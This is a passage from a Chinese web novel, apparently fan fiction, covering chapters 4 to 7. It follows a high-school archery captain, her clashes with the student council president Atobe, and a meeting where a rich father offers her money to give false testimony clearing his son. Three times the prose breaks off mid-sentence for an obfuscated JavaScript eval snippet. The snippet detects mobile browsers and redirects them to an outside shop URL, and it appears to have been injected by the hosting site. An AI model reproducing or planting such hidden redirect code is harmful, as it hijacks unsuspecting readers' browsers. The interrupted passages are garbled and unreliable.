至于景光哥这边,等补习的时候顺口问问吧,记不起来就算了,她没有凡事追根究底的习惯。 同一时间,学生会的专属会议室内,大部分学生已经离席,只剩下正副会长留着座位上。 城之内千佳将手里的报表用订书机订好,偏眸望向坐在主位上的迹部景吾,大少爷在开会期间至少看了三次手表,巴不得时间过得快一点,这会正举着一面贴着金箔的小镜子照来照去。 千佳:“……” 这人平时虽然臭屁的没边,但也不至于这么臭美,是因为下午要见心上人,所以特地整理仪容仪表吗? 注意到她的目光,迹部掀起眼皮一瞥,“看本大爷干嘛?啊嗯。” 千佳平静道:“姑且问一句,分班表是随机分配还是某人滥用职权故意为之?” 4. 第四章 迹部财阀给冰帝投了不少钱,硬生生用“钞能力”把冰帝这所普通院校打造成一流私立名门。 因此不管是校长还是理事长,见到迹部家未来的继承人,都会拿出十二分的敬意来。 只要迹部景吾一声令下,分班表随便他安排。 迹部放下镜子,牵起嘴角嗤笑一声:“哼,别多想,本大爷早就不喜欢她了。” 语气轻描淡写地像是在谈论中午该吃什么,可结合他今天的反常举动,欲盖弥彰的味道扑面而来。 城之内千佳淡定地拿出手机,在迹部面前晃了晃,“嘉叶今早盛装打扮去参加小惠的入园式,拍了好多漂亮的照片,你要看吗?” 迹部就这么直愣愣地盯着手机看了几秒,经过一番艰难的思想斗争,终是妥协了,他用那种毫不在意的语气说:“随便看一眼也行。” “不给,”千佳若无其事地把手机放回兜里,起身将手头的报表摆到迹部面前,理所当然道,“反正你早就不喜欢她了,还看什么看。” 迹部:?! 丢下气成河豚的学生会长,城之内千佳头也不回地离开学生会室,心里忍不住吐槽:又端又怂嘴又硬,活该追不到喜欢的人。 * 今早缺了几节课,嘉叶提前十五分钟来到教室,计划着找位热心的同学借笔记抄。 无奈恶名远扬,前脚刚踏进门,里头的人看了她一眼后就整齐划一地集体闭麦,原本吵闹的教室瞬间安静得像是夜晚的墓地。 众同学纷纷别过脑袋,不敢继续和她对视。 其实几年前的情况和现在完全相反,小学和初中时期的嘉叶十分受欢迎,几乎每个课间都会被叫出去表白,男生女生的比例大概七三分。 不幸的是那会的她就是一根狗嘴里吐不出象牙来的人形棒槌,一不留神就能把告白的人气哭或是气跑。 时间久了,一方面觉得麻烦,一方面又觉得很对不起那些人,于是嘉叶灵机一动,决定给自己打造一个心狠手辣的不良少女人设,以此吓退追求者。 她是个行动派,立马花钱雇了几位同学帮忙宣传,效果意外的好,几乎可以称得上是立竿见影,自那以后学校里面再也没有人跟她表白了。 不仅如此,大家看到她都会自觉退避三舍,去小卖铺买东西没人敢插她的队,小组作业时其他组员根本都不敢摸鱼,生怕被揍…… 对于这个结果,嘉叶特别满意,反正她又不需要什么高人气,在学校里面一直被所有人盯着瞧也很烦,现在这样非常好。 走到教室后面,查看了一下座位表,嘉叶惊奇地发现前后左右的人她都认识。 座位是临窗的倒数第二排,前面是幸村莉奈,右前方是源深雪,两位都是她的好友兼弓道部部员。右边则是她的青梅竹马宍户亮,后面坐着学生会会长兼网球部部长的迹部景吾。 她跟迹部接触不多,近期只在开部长大会时见过,属于点头之交。 想到自己的笔记有了着落,嘉叶心情很好地在心里哼起了歌,坐下后就给三位好友发去短信,催他们赶紧回来借她笔记抄。 信息刚发过去没几秒,宍户亮就从教室前门走进来,嘉叶仿佛看到了失散多年的亲弟弟,在这个举目无亲的陌生班级里突然有了归属感。 她忙不迭地抬起手,笑容可掬,“哟,美少年,一个假期不见你真是越来越帅气逼人了!” 扎着高马尾的棕发少年如遭雷劈,震惊和嫌弃各占据整张脸的半壁江山,他张了张嘴,斟酌几秒后还是没能忍住:“大笨蛋!你今早出门的时候脑子被门夹了吧,说些什么屁话!不觉得害臊吗?” 切,媚眼抛给瞎子看,嘉叶在心底腹诽,果然佑司才是她最有默契的好搭档。 小亮亮完全不会接梗,差评! 迹部景吾紧跟在宍户亮身后进来,嘉叶见他脸色阴沉,眉头紧锁,就好心关切道:“迹部你脸色不太好啊,中午吃坏肚子了吗?” 不料这话好像起到了反作用,迹部脚步一顿,脸比刚才黑了两个度,目光锋利如刀,狠狠地刺过来,巴不得在她身上戳出两个大洞。 嘉叶:??? 什么狗脾气,别人关心他不领情也就算了,还瞪人是几个意思?对她有什么意见吗? 只见迹部大步流星地走到座位边,抓住椅背往后一拖,动静虽不大,但在寂静的教室中显得格外刺耳。 整个班的人都好奇地扭头望去,在见识到迹部黑如锅底的脸色后,大家暗道不妙,一个二个都缩着脖子默默移开视线。 嘉叶跟宍户亮对了下眼神,后者也一脸的莫名其妙,两手一摊耸了下肩,表示自己不清楚自家部长在发什么神经。 就当做是他原本心情就不好咯,嘉叶没太在意,对着宍户亮一伸手:“小亮,笔记借我抄抄。” 从抽屉里拿出笔记本和教科书,宍户亮又摸了摸口袋,掏出几颗刚买的果冻,一并递到嘉叶桌子上。 嘉叶撕开包装,把果冻塞进嘴里,做作地朝宍户亮抛了个飞吻,并附赠一枚闪亮的单眼Wink,结果只换来对方嫌弃的皱眉:“你脸抽筋啊?” 这时,身后蓦地传来“咚”的一声,好像是拳头砸桌面的声音,不大不小。 迹部这家伙又在犯什么病?嘉叶懒得跟他计较,埋头誊抄笔记。 宍户亮是超级认真的优等生,字迹工整,笔记写得整齐清晰,还用了不同颜色的笔来区分内容,黑色水笔记主干,红色勾重点,蓝色写批注,教科书上用荧光笔勾画,旁边的标注也写得很详细。 刚把国文课的笔记抄完,右耳朵边突然冒出不太动听的内容:“你头发分叉了。” “啊?”嘉叶放下笔,抓过自己的头发一看,有些意外地说,“真的诶,我都没有注意到。” 宍户亮凑到她身边,捻起一缕头发看了看,惊呼:“我的老天,你平时完全不保养吗?看着就跟发霉了一样。” “你懂个屁,这叫美到开花。”嘉叶从他手里夺回头发,理直气壮地反驳,完全没把这等小事放在心上,抓起笔继续抄笔记。 见她这个死猪不怕开水烫的样子,宍户亮只觉得脑仁疼。 记得这货小学一年级时顶着一颗“安能辨我是雌雄”的寸头,和一张不苟言笑,酷到没边的俊脸跟他当了同桌,宍户一度以为她是男生,直到看见这人正大光明地走进女厕所。 后来才了解到嘉叶小时候发质不好,头发细软特别容易打结,每天早上梳头至少得花半小时,她觉得麻烦,心一横就拜托妈妈给剃了寸头。 话说她妈妈心好大,一般人会同意女儿剃吗? 三年级之后发质渐渐变好,嘉叶也觉醒了迟来的爱美之心,就把头发给留长了,只不过她那点微不足道的爱美之心,经常被懒惰揍得落花流水。 跟她一比,宍户感觉自己简直是个精致少年。 抬手揉了揉太阳穴,宍户亮无可奈何地提议道:“我放学正好要去理发店,你跟我一块儿吧。” “不去,”嘉叶头都懒得抬,依旧奋笔疾书,“去一趟理发店至少耽误两小时,我回家拿菜刀随便砍砍就成。” “呵呵。”迹部轻笑一声,意识到自己的失态后很快调整好表情,若无其事地继续看他的精装德语书。 坐在前面的嘉叶放下笔,轻轻“啧”了一声。 ——这是第三次。 嘉叶的脸色一沉,气势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495399|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汹汹地转过身,把胳膊压在迹部的课桌上,与此同时,迹部也掀起眼皮,直直撞上她的目光。 嘉叶不耐烦道:“对我有意见就直说。” 迹部平静地放下书,“没有。” 作为相识多年的好友,宍户亮一看这架势就知道大小姐要炸!她那个炮仗脾气一旦被点着,估计能把迹部的脑袋按在桌子上摩擦。 好歹也是自家部长,总不能见死不救吧。 宍户亮连忙按住嘉叶的肩膀,强行给她扭回原来的坐姿。 嘉叶瞪了他一眼,满脸的不爽无处安放,但看着青梅竹马的面子上,还是把火憋了回去。 “算了算了。”宍户亮从书包里掏出一个蓝色的小盒子,放到她面前介绍道:“护发精油,我本来打算拿到部活室用,现在送你了,洗完头挤三泵抹头发上,直接吹干就行,比护发素跟发膜都方便,最适合你这种懒鬼。” “诶唷,还有这种好东西。”嘉叶的注意力被一秒转移,拿起发油研究起来,她拆开包装,打开瓶盖嗅了嗅。 木质调的香味,好像是雪松木,还带着一点花香,清新又好闻。 “谢谢大帅哥,回头请你吃饭。” 宍户亮一挑眉,问道:“什么时候?” 嘉叶给了个万能回答:“你哪天想吃我就哪天有空。” “就今天吧。” “那你想……” “吃什么”三个字都没来得及问出口,一道嘹亮的女声忽然横在两人的对话中间:“发现一只野生的小椎,还是画了全妆的超级限量版哦!” 嘉叶偏头看去,正是她的好友——幸村莉奈,一头粉色的天然卷过分亮眼,随着她奔跑的动作,头发蹦来蹦去,看起来十分Q弹。 留着深蓝色齐腰长发的源深雪紧随其后,目光在嘉叶身上绕了个圈,难得夸了几句:“画得不错,不愧是我的首席大弟子。” 嘉叶自信表示:“那是当然,名师出高徒嘛。” 莉奈冲上来就是一个爱的抱抱,秀发蹭得嘉叶的鼻尖发痒。 抱完之后,莉奈侧坐到自己的座位上,双手捧着腮帮子,仔细地端详起嘉叶的脸。 半晌才说:“我们家的部长真是貌美如花,如果平时也愿意稍微打扮打扮该有多好,我天天都能大饱眼福。” “你想多了,”深雪也坐回座位,和端庄优雅的气质不同,她损起人来毫不留情,“这个小懒鬼宁愿蹲在路边数蚂蚁都不可能早起化妆,她对精致过敏。” “啊对对对。”嘉叶半睁着眼含糊道。 这时,眼尖的幸村莉奈发现她藏在发丝后的耳环,旋即抬手一撩,满眼的惊艳,“哇!好漂亮啊,亮晶晶的,蓝宝石吗?” 仿佛湛蓝的海水被月光包裹,纯净的没有一丝杂质,设计简洁大气,舍去多余的点缀,反倒突出了宝石本身的天然之美。 见好友喜欢,嘉叶大方表示:“要戴上看看吗?” 莉奈喜出望外,小鸡啄米似的连连点头:“嗯嗯嗯!” 这边刚戴上,嘉叶兜里的手机嗡嗡作响,拿起来一看——是米花警署,她昨天特地加到了通讯录,那边说有任何情况会及时通知。 “我去接个电话。” 嘉叶来到一间无人使用的化学实验室,按下接通键,问:“您好,有什么事吗?” 电话那头的人没有第一时间回答,隔了好几秒才开口,声音里带着明显的踟蹰:“椎名小姐你好,我是米花警署的恩田警官,关于喜多川一案有些信息需要当面传达。请问你最近有空吗?能否预约一个时间,我们到咨询所面谈,你可以选择和监护人一同前往。” 啊,是昨天第一时间赶往现场的那位。 5. 第五章 嘉叶前脚刚离开教室,幸村莉奈就被好几个女生团团围住,一位短发的女生双手合十,脸上带着一点讨好的笑,“幸村同学,能不能借我戴一下,一下下就好。” “还有我还有我。” “拜托拜托啦,莉奈你最好了。” …… 这个年纪的女孩子对漂亮的饰品感兴趣很正常,想戴一下并来几张自拍也很正常,可大家都害怕椎名,不敢开口跟本人借。 这会儿她正好不在,机不可失时不再来! 和椎名不同的是,她的好友幸村莉奈脾气很好,特别好说话,是那种不管对谁都笑脸相迎的元气少女,长相可爱成绩优秀,性格活泼开朗,在学校里面很有人气。 既然没办法找椎名借,那就问幸村借吧,反正只要大家都管住自己的嘴,本人不会知道。 幸村莉奈确实随和,这为她带来了极好的人缘,可随和的性子也带来一个问题——她不太擅长拒绝别人。 在班上同学们的“围攻”之下,幸村莉奈僵在原地,进退两难。 一方面不可能在没有经过好友同意的情况下,随意把人家的东西借人。另一方面,面对那么多同学殷切的请求,她大脑当场卡壳,婉拒的话也卡在嘴边,不上不下。 一旁的源深雪抬手点了点太阳穴,实在看不下去好友这副磨磨唧唧的怂蛋模样,只得出声解围:“不过话说回来,嘉叶的心未免也太大了。” 二人之间的默契值拉满,幸村莉奈心领神会,火速接过话茬:“怎么了?这个很贵吗?” 源深雪拨开人群走到莉奈身边,盯着她的耳垂仔细研究了一会,给出非常专业的结论:“不是什么蓝宝石,是蓝钻哦,而且还是顶级的艳彩蓝,这个大小、颜色、纯净度……保守来说,至少五个亿吧。” 随着话音落下,方才还打算借耳环戴的女生们纷纷目瞪口呆,大家十分默契地往后退了一小半步。 源家起初是靠做高端珠宝生意发的家,后来家族生意越做越大,各行各业皆有涉及,成功跻身日本几大顶级财阀之列。想必源深雪从小在精英教育下耳濡目染,对于珠宝的了解程度不可小觑。 既然她说值五个亿,那肯定就值这个数! 这下大家都没胆子借了,没人敢随便把五个亿往自己脑袋上放。 “她、她干嘛把那么贵的东西带来学校。”短发女生小声说。 旁边一位戴眼镜的女生淡定总结:“可能只是对于我们来说很贵吧。” 椎名的父亲是在泡沫经济的上升时期白手起家的传奇人物,十多年前搬去美利坚,在那边建立起自己的商业帝国,如今常年“定居”在福布斯富豪榜上。 五个亿对于她们家来说根本不算什么,估计就跟普通人随手买了杯奶茶差不多。 “我觉得她单纯就是早上刚参加完外甥的入学典礼忘了摘。”源深雪平静给出自己的猜想后,将视线移向一直沉默看戏的迹部,揶揄道:“毕竟嘉叶是个低调的好孩子,和某位高调浮夸的大少爷完全不同呢。” 迹部扬起眉,口吻一如既往的倨傲:“你对本大爷的行事风格有什么意见吗?” “没有。”源深雪摊摊手,面无表情地坐回座位。 班上的人悄无声息地看了会戏,随后神色各异地回到座位。 迹部和源的事在冰帝不是什么秘密,大家都知道。 两人是青梅竹马,小时候都在英国,初中才回到日本。曾经还有婚约,不过高一那会也不知道发生了什么,突然就取消了。 在那之后他们两的关系就变得有些微妙,明显不似从前那般亲近。 源以前是网球部的经理,跟迹部几乎形影不离,虽然没有牵手之类的亲密举动,但经常给迹部送水或者毛巾。两人之间属于相敬如宾的那一挂,迹部对她很是尊重。 在外人看来,他们几乎称得上是天造地设的一对。 二人家世相当,一个是财阀继承人,一个是千金大小姐,迹部景吾英俊多金,天生的领导者,人格魅力足以让半个冰帝的人尽折腰。源深雪才貌双全,气质超然,举手投足间尽显富家小姐才有的矜贵之气。 听说婚约取消的时候,CP粉们感觉天都塌了,但具体是谁提出来的,原因是什么,没人敢多打听。 只知道自那之后源就退出了网球部,加入冷门社团弓道部,可能因为她最好的朋友幸村是弓道部的吧,顺便换个环境转换心情。 没想到他们两个在高中的最后一年会分到同一个班,是命运的安排吗?或许二人能借此机会破镜重圆。 待嘉叶回到教室,那点热闹的小插曲早已结束。 “不好意思啊亮,我今天临时有点事,咱们周三再约可以不?” 宍户亮没多问,点了下头表示同意。 下午第一节是英语课,嘉叶仗着自己成绩好,没太认真听课,分出三分心思来推测以下几种可能性。 第一,喜多川伤情恶化,快死了,她或许得面临防卫过当的指控。第二,检察官认为喜多川是初犯,且情节较轻,故决定不予起诉。第三,喜多川的律师想和她见一面,私底下商议赔偿和道歉事宜,希望能换取一份和解协议。 首先她下手不重,大概率不会闹出人命。其次东京各类刑事案件频发,检察官手里的案子不计其数,不可能那么快审到她这个。最大的可能性就是对方的律师想面谈。 其实……除了和解协议之外,还有一个方法可以保证喜多川能够百分之百全身而退,只不过需要冒亿点点风险。 嘉叶觉得既然她能想到,对方的律师肯定也能,还是多做一手准备比较好,万一对方真打算坑她呢? 她是在低头玩手机吗?迹部莫名其妙地紧张起来,立刻抬眸往讲台方向看,在看到英语老师正在写板书时,他倏地松了口气。 前座的椎名很快坐直身子,左手抓着自己的头发绕了几圈盘成一团,右手抄起一支中性笔,飞快地把笔插.进发间,就这么稳稳固定住了。 迹部:??? 这是在变魔法吗?怎么做到的? 一小撮不太配合的发梢顽皮地蹦了出来,发尾上的那些小白点看起来真的就像开花了一样。 不知觉地勾起嘴角,但很快就被迹部压了下去,他强迫自己转移注意力,视线移向黑板,没有再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495400|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她。 “椎名,你起来翻译这段。” 忽然被点名的嘉叶快速扫了眼黑板上漂亮的花体,起身说:“智慧和仁义在恶人眼中看来都是恶的,下流的人只喜欢下流的事……” 英语老师满意地颔首:“嗯,翻译的很好。” * 如果问冰帝学园最热门的社团是什么?所有人都会回答:网球部。 不仅在冰帝,即便放眼全国甚至全世界,网球在各个学校都是最受欢迎的主流运动。 基于此,网球部毫无争议地成为凌驾于所有社团之上的绝对霸主。 对于不少冰帝的学生而言,能加入网球部本身就是一种殊荣。冰帝的网球部很强,尤其是男网,几乎每年都能冲进全国四强。 而正选队员,在学生中的含金量基本等同于“入选国会议员”,是至高无上的的荣耀。 与之相对的是极其苛刻的条件,男子网球部奉行实力至上原则,成员超过两百人,正选的名额只有八个。一旦在正式比赛中败北,就会立刻失去资格。 正选几乎都有各自的后援会,不管是日常练习还是正式比赛,后援会的女孩子们都会围在为球场周围摇旗呐喊,阵仗堪比参加偶像演唱会。 其中最有人气的无疑是网球部部长迹部景吾,只要他一个响指,就能让无数女生抱在一起热泪盈眶。部员们也十分敬重他,迹部此人仿佛天生就有种让人臣服的力量。 另一边,站在道场中间的嘉叶看着整整齐齐站成一排的新成员,激动到差点泪目。 弓道属于小众运动,人数最多的时候也就三十来个。顺便一提,由于弓道的本质是一种锻炼身心的修行,并非单纯地比拼力量或是体力,因此被称为“不分男女的运动”。 男生女生平时都是一起训练,但出于竞技公平性,正式比赛时会按照性别分组。 简而言之:追求“道”时男女平等,但在竞技“术”的层面上,需考虑到男女肌肉力量的差异性,故需要分组比赛。 大约是因为去年女子组和男子组同时爆冷夺冠,今年入部的新生居然足足有二十多人!嘉叶从来没有见过如此盛况,内心感到一阵欣慰。 和身旁的副部长诸伏佑司对了下眼神,二人相视一笑,心说:果然,斐然的战绩就是最好的宣传。 就在嘉叶准备发表部长致辞时,一道男声冷不丁地打断她的思绪。 “椎名,过来。” 嘉叶偏头望去,只见身着正选队服的迹部抱臂而立,由于存在感太强,即便站在道场角落也颇为惹眼,在场所有人的目光都不由自主地集中到他身上。 大少爷依旧是那副高高在上的模样,下巴微微扬起,脸上带着睥睨天下的神情,方才说话的口吻相当强硬,典型的命令式,嘉叶觉得自己跟学校里的野猫讲话都比这客气! 这小子跑来别人的场子耍什么威风?真见不得这副轻狂样。 想起今天中午的那点不愉快,新仇旧恨加一块,嘉叶必然不可能给他什么好脸色。 她眉头一皱,拔高音量,语气超级冲地呛道:“凭什么要我过去?有什么事你自己过来说啊。” 6. 第六章 迹部当即脸色一沉,周遭的气氛一下子尴尬到了极点,众人的目光在二人之间左右横跳,不敢支声。 诸伏佑司见状本想开口打圆场,可嘴皮子刚动了动,话都没来得及说出口,就被嘉叶一记眼刀给瞪得咽了回去。 惹不起还躲不起吗?诸伏佑司默默往旁边挪了几步,缩到源深雪身后。 源深雪:“……”好没用的副部长! 作为当事人的嘉叶一副无所谓的态度,并不打算说点场面话来息事宁人。她故意模仿迹部的样子双臂环胸,扬起下巴,直勾勾地盯着他瞧。 本意是挑衅,但不知道为什么,迹部非但不火,反而莫名其妙地笑了一下。嘴角几不可察地往上勾了一那么丢丢,随后快速压了下去。 然后就看见这位趾高气扬的公子哥垂下胳膊,改为双手插兜,大摇大摆地过来,“不枉你们去年拿了全国优胜,今年的人数增加不少啊,需不需要扩大部活室?启用隔壁旧道场。” 诶?原来是因为这个?嘉叶有些惊讶地想。 学生会长的业务范围可真广,还挺负责,刚开学就得到处视察情况,连这些都考虑到了,她本来还打算月底开部长大会的时候再提呢。 其实大部分人都是因为弓道部去年的优异表现,外加觉得弓道服很好看而一时起兴加入的。 估计正式训练开始后,超过半数会退部,弓道确实是一项需要耐下性子来练习的运动,初学者一开始只能拉橡皮筋。 不过……场地大一点肯定是好处多多啦。 嘉叶一扫方才的不耐烦,挂起职业假笑,“那就劳烦会长大人向理事会那边通告一声。” “你至少写个申请书吧。”迹部说完后又想了想,发出善意的邀约,只可惜语气和措辞都透出一股子纡尊降贵的优越感,十分气人。 “想必你以前也没写过,等部活结束之后,本大爷可以抽出点宝贵的时间,大发慈悲地教教你,怎么样?” 听到这,源深雪简直两眼一黑,心说:他脑子没事吧?会说人话吗? 嘉叶脸上的假笑堪堪维持住,刚压下去的那股火又冲了上来!她真想提腿狠狠地踢他的屁股! 这棒槌说话如此欠揍,长这么大都没被人打过吗? “不用,”嘉叶还是保持假笑状态,但声音已经冷到极点,直接下了逐客令,“会长大人还有别的事要忙吧,慢走不送。” 迹部难以置信地剜了她一眼,气得拂袖而去。 他刚走没几步,嘉叶就秉持着节约时间这一原则,马不停蹄地开始自己的部长发言: “无聊的开场白就省去吧,我不喜欢浪费时间说废话,我们冰帝弓道部一向是实力至上,只要有本事,一年级也能当正选……” 迹部抿着嘴角离开道场,最后还是没忍住,回头望向身后。 椎名将长发盘起,身着练习弓道专用的稽古着,上身是白色筒袖,下身穿着深蓝色的马乘袴。 身材高挑的她十分适合这套衣服,上衣宽大,腰封紧束,有一种刚柔并济的特别气质,像是立在雪中的松柏。 不管看多少次,都会被深深吸引。 他眼里的椎名总是闪闪发光、捉摸不透,有时候成熟到令人心疼,有时候又会展露出极为孩子气的一面。 以及……从未正眼瞧过他,一次也没有。 思及此,迹部毅然转身,头也不回地快步离去。 默默将一切收入眼底的源深雪在心里叹了口气,恨铁不成钢地想:这个大笨蛋,特地过来干嘛?刷负好感度吗? 网球部这边和往年一样热闹,排队交入团申请的新生至少有一百多号,老部员忙着登记和介绍。 大家各司其职,有条不紊地走流程。 哪怕部长迹部出去摸了下鱼,也完全不影响之后的发言。 可他今天似乎心情不太好的样子,全程冷着脸,尽显严厉做派,给新人们来了个下马威。 * 五点半结束社团活动,还有不少刻苦的部员打算留下来加练,嘉叶把钥匙丢给副部长,交代几句后速速换好衣服,打车赶往警局。 和嘉叶猜想的一样,喜多川的律师想和她面谈,在得到她的首肯后,恩田警官神色复杂地把律师的名片递过去。 “你记住,一定要在监护人的陪同下见面,虽然这不是硬性规定,但你还是个孩子,不要逞强,也不要有什么顾忌,需要任何帮助都可以跟身边的大人说。” “谢谢您,恩田警官。”嘉叶恭敬地对她行了个礼。 从昨天见面伊始,这位女警官就对她关照有加。温柔严谨、恪尽职守,让嘉叶想起了自己的姐姐。 然而感动虽感动,她却没采纳人家善意的提醒,决定只身前往,不带监护人。 离开警局,嘉叶立马给律师打去电话,“你好,我是椎名,现在能见面吗?地点我来定,可以吗?” 礼节方面无功无过,谈不上客气,但也绝不算冒犯。 律师对于这过分爽快的态度很是惊讶,愣了好几秒才礼貌回答:“当然可以,请问方便让喜多川社长一同前往吗?社长作为父亲,对于儿子犯下的过错感到十分自责,认为是自己教子无方,想要当面和您致歉。” “好的,那我们六点半在爱伦坡餐厅见吧。” 嘉叶没有直奔餐厅,而是就近去优衣库买了一身新衣服换上,顺便摘下耳环和手表,把校服塞进购物袋。 冰帝虽不是贵族学校,但也属于私立中的名门,没必要在对方面前暴露太多自己的信息。 提前十五分钟抵达,点了份蛋炒饭和一杯可乐。五分钟后,炒饭端上桌,嘉叶吃了一口就忍不住皱眉。 这啥?什么玩意儿啊?火候不够,油放太多,吃起来又黏又腻。 换厨师了吗?之前挺好吃的啊! 她的嘴已经被厨艺超群的甚尔养刁,受不了一点委屈,果断放下勺子,准备回家吃美味的海鲜焗饭。 虽然提前打过招呼说自己有事不回家吃饭了,但甚尔肯定会给她做一份放着当宵夜。 认识那么多年,这点默契还是有的。 六点二十五分,一高一矮两个男人走进餐厅。 嘉叶就坐在门口的四人座,店里除了她都是成群结队的食客,那两人的目光巡视一圈后,最终定格在她身上。 高个男子走到桌边,微微俯下身,礼貌开口:“请问是椎名小姐吗?” “是,你们坐吧。”嘉叶没有起身,抬手比了个请坐的手势。 矮个子男人眉头一皱,眼底闪过隐晦的嫌弃,似乎是瞧不上这样的大众餐厅,也瞧不上把他们叫来这种地方的人。 二人依次落座,高个男率先自我介绍:“不好意思啊,让您久等了,敝阿部姓,是喜多川建设有限公司的法律顾问。” 他的视线移向右边,态度毕恭毕敬,“这位是喜多川健次社长,翼少爷的父亲。” 喜多川健次略微一点头,就算是打过招呼了。 “二位好,我是椎名嘉叶,”嘉叶叹了口气,垂下眼睫,作出忧心忡忡的样子,“我也是第一次碰到这种事,请问你们打算怎么处理?” 喜多川健次没搭话,而是细细打量起坐在对面的人。 十七八岁的年纪,脸长得确实漂亮,就算放在娱乐圈也称得上是一骑绝尘,不怪他的小翼会鬼迷心窍。 不过看穿着打扮……倒是不像有钱人家的姑娘,但能请得起家教,说明家庭情况也还行。 估摸着也就小康以上,中产偏下的水平。零花钱每个月几万块,绝对不超过五万。 ——庶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495401|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民就是庶民。 选档次这么低的地方谈正事,足以看得出她的小家子气,肯定没去过什么高档餐厅消费。 倒也不指望高级会所,但好歹找个稍微有点格调的咖啡厅吧。 这种地方的食品安全真的没问题吗?感觉吃完就会生病。 她的样子十分拘谨,应该属于胆子比较小、很腼腆的类型,从独自一人赴约来判断,她肯定不愿意让更多人知道这件事。 这也正常,被猥.亵这种事对于当事人来说终究不光彩,多丢人呐。闹大了对她没好处,天天被周围人指指点点,唾沫星子都能淹死她。 初步推断结束,喜多川健次认为自己胜券在握,没见过世面、又很胆小的女高中生再容易对付不过了。 晃晃钱袋子就能解决,不是什么大事。 喜多川郑重地低头致歉:“十分抱歉,是我没有教育好孩子,才会让你经历那么可怕、那么糟糕的事。小翼的母亲走得早,我一个大男人带孩子也不容易,现在的生意越来越不好做,我得养好几个公司的人,这压力啊……可想而知。工作忙起来连吃饭睡觉都顾不上,无意间忽视了孩子的教育问题。都是我的错,是我不好,你要怪就怪我吧。” 喜多川抬起头,观察起对面人的反应。 她果然动容了,眼底浮现出几分歉疚,连连摇头:“不,这不能完全怪您,我也有错,唉,真不知道该如何是好。依您看……这件事应该怎么处理?” 十指交叉掩住自己的嘴,喜多川的嘴角忍不住地上翘,心道:真蠢啊,这就上钩了。 喜多川用眼神示意身边的阿部说话——只要再加一把劲这事就成了。 阿部推了下眼镜,从文件袋里拿出一张支票和一份和解协议书,和和气气地说:“椎名小姐,这里有一千万,我明白这点钱无法弥补少爷对您造成的伤害,只是少爷他还年轻,还有大好的前途。” 藏着镜片后的双眼似乎有泪光闪过,他深深吸了口气,站起身来对着嘉叶九十度鞠躬,说话间带着明显的颤抖。 “少爷对您而言是十恶不赦的混蛋,我清楚地知道这一点,可是对于我,他却是个心地善良的好孩子,是全世界最好的孩子。哪怕知道他犯了错,我也没办法坐视不管。在法律层面上他确实罪无可恕,可出于私情,我希望您能给他一个改过自新的机会。求求您了,请您考虑一下吧,拜托了。” “一、一千万?这么多?”嘉叶半真半假地装出很惊讶的模样,双目圆睁,抬手掩住嘴。 喜多川将她的表情变化看在眼里,心道:果然不出所料,一千万对于高中生来说,毫无疑问是一笔想都不敢想的巨款,没有人可以拒绝! 阿部的表现也很不错,比他演得好。 只不过单单是和解协议还不够,依然有被起诉的风险。他在检察院那边没门路,不能用钱解决。 只好剑走偏锋,稍微牺牲一下愚蠢的椎名小姐。 这个年纪的小姑娘能一口气赚大钱的机会可不多,他也算是做慈善了,给她好好上一课,让这蠢货长点教训,知道什么该做什么不该做。 不就是被抱了一下嘛,至于报警么?还打人,有机会真想见识见识她的父母什么样,有这么教育女孩子的吗? 小翼可是他的心肝宝贝,绝对不能背上“猥.亵犯”这种令人蒙羞的污点。也不知道那孩子发什么神经,居然跑去给平民打工。 就是因为随便和小门小户的穷光蛋扯上关系,才会被讹。 支票是不可能给的,会留下证据,能让她看一眼就不错了,就当做是让下等人见见世面吧。 从钱包里拿出另一张支票,喜多川把支票放到桌子上,一字一句地说:“我再加一千万,只需要你帮我一个小小的忙就行,等事成之后,两张一起给你。” 7. 第七章 说谎和演戏一直都是嘉叶最好的伙伴。 只要她肯集中注意力仔细观察,就能轻易识别他人究竟是虚情假意还是真情流露。 这下子,她总算明白喜多川翼那副道貌岸然的伪君子做派是怎么一回事了,原来是有这么个极品爹在旁边言传身教啊! 不过律师先生倒是动了真感情,比起喜多川健次这个亲爹,他更像一位正儿八经的父亲。 低头看向桌面上的支票,嘉叶装出见钱眼开的模样,两眼放光,小鸡啄米似的点头:“您说,需要我做什么?” 喜多川健次这傻逼果然上套,就像是看到了胡萝卜的蠢驴,迫不及待地往上凑:“你去跟警察说你们是小情侣吵架,当时气急了,为了报复他才报的警。你还小,警察不会和你计较那么多,只会当做一般民事纠纷处理,口头警告几句就完事。” 呵呵,居然真的想搞这种损招。 和嘉叶预想的一样,对方打算诱导她作伪证,以此换取宝贝儿子的“清白”。 心可真够黑啊,如果按照他教的来,她相当于同时犯下故意伤害罪和诬告陷害罪。 数罪并罚,至少三年。 